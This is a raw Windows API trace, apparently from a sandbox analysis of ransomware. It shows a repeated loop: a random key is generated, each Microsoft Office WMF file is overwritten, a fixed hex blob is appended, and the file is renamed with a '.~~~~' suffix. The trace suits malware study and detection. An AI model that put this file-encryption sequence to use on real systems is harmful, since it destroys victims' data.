	[0125.936] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.936] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24592651765) returned 1
	[0125.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb486df90, dwHighDateTime=0x1d60e1e)) 
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28214a8
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28214a8 | out: hHeap=0x300000) returned 1
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb378
	[0125.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb378 | out: hHeap=0x300000) returned 1
	[0125.937] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.938] GetLastError () returned 0x0
	[0125.938] GetLastError () returned 0x0
	[0125.938] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.938] GetLastError () returned 0x0
	[0125.938] GetLastError () returned 0x0
	[0125.941] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.942] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x5c4, lpOverlapped=0x0) returned 1
	[0125.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.943] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.943] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.944] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.944] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.944] CloseHandle (hObject=0x120) returned 1
	[0125.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb378
	[0125.944] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf.~~~~")) returned 1
	[0125.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb378 | out: hHeap=0x300000) returned 1
	[0125.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.945] GetLastError () returned 0x0
	[0125.946] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.947] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.947] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.947] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24593747972) returned 1
	[0125.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb48940f0, dwHighDateTime=0x1d60e1e)) 
	[0125.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28214e0
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28214e0 | out: hHeap=0x300000) returned 1
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb570
	[0125.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb570 | out: hHeap=0x300000) returned 1
	[0125.948] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.948] GetLastError () returned 0x0
	[0125.949] GetLastError () returned 0x0
	[0125.949] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.949] GetLastError () returned 0x0
	[0125.949] GetLastError () returned 0x0
	[0125.951] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff3c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.951] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xc3c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xc3c, lpOverlapped=0x0) returned 1
	[0125.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.953] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.953] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.953] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.953] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.953] CloseHandle (hObject=0x120) returned 1
	[0125.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb570
	[0125.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf.~~~~")) returned 1
	[0125.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb570 | out: hHeap=0x300000) returned 1
	[0125.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.955] GetLastError () returned 0x0
	[0125.956] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.957] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.957] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.958] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24594776864) returned 1
	[0125.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb48940f0, dwHighDateTime=0x1d60e1e)) 
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821518
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821518 | out: hHeap=0x300000) returned 1
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb4c8
	[0125.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb4c8 | out: hHeap=0x300000) returned 1
	[0125.959] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.959] GetLastError () returned 0x0
	[0125.959] GetLastError () returned 0x0
	[0125.959] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.959] GetLastError () returned 0x0
	[0125.959] GetLastError () returned 0x0
	[0125.962] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff9e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.962] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x61c, lpOverlapped=0x0) returned 1
	[0125.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.977] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.978] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.978] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.978] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.978] CloseHandle (hObject=0x120) returned 1
	[0125.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb570
	[0125.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf.~~~~")) returned 1
	[0125.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb570 | out: hHeap=0x300000) returned 1
	[0125.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.988] GetLastError () returned 0x0
	[0125.988] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.990] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24598033804) returned 1
	[0125.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb48e03b0, dwHighDateTime=0x1d60e1e)) 
	[0125.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821588
	[0125.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821588 | out: hHeap=0x300000) returned 1
	[0125.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baee0
	[0125.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baee0 | out: hHeap=0x300000) returned 1
	[0125.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.991] GetLastError () returned 0x0
	[0125.992] GetLastError () returned 0x0
	[0125.992] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.992] GetLastError () returned 0x0
	[0125.992] GetLastError () returned 0x0
	[0125.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffa94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.997] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x56c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x56c, lpOverlapped=0x0) returned 1
	[0125.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.999] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.999] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.999] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.999] CloseHandle (hObject=0x130) returned 1
	[0125.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb570
	[0125.999] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf.~~~~")) returned 1
	[0126.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb570 | out: hHeap=0x300000) returned 1
	[0126.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.001] GetLastError () returned 0x0
	[0126.001] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.003] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.003] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.003] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24599322752) returned 1
	[0126.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4906510, dwHighDateTime=0x1d60e1e)) 
	[0126.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28215c0
	[0126.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28215c0 | out: hHeap=0x300000) returned 1
	[0126.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb618
	[0126.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb618 | out: hHeap=0x300000) returned 1
	[0126.004] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.004] GetLastError () returned 0x0
	[0126.004] GetLastError () returned 0x0
	[0126.005] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.005] GetLastError () returned 0x0
	[0126.005] GetLastError () returned 0x0
	[0126.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff7de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.007] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x822, lpOverlapped=0x0) returned 1
	[0126.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.009] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.009] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.009] CloseHandle (hObject=0x130) returned 1
	[0126.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb618
	[0126.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf.~~~~")) returned 1
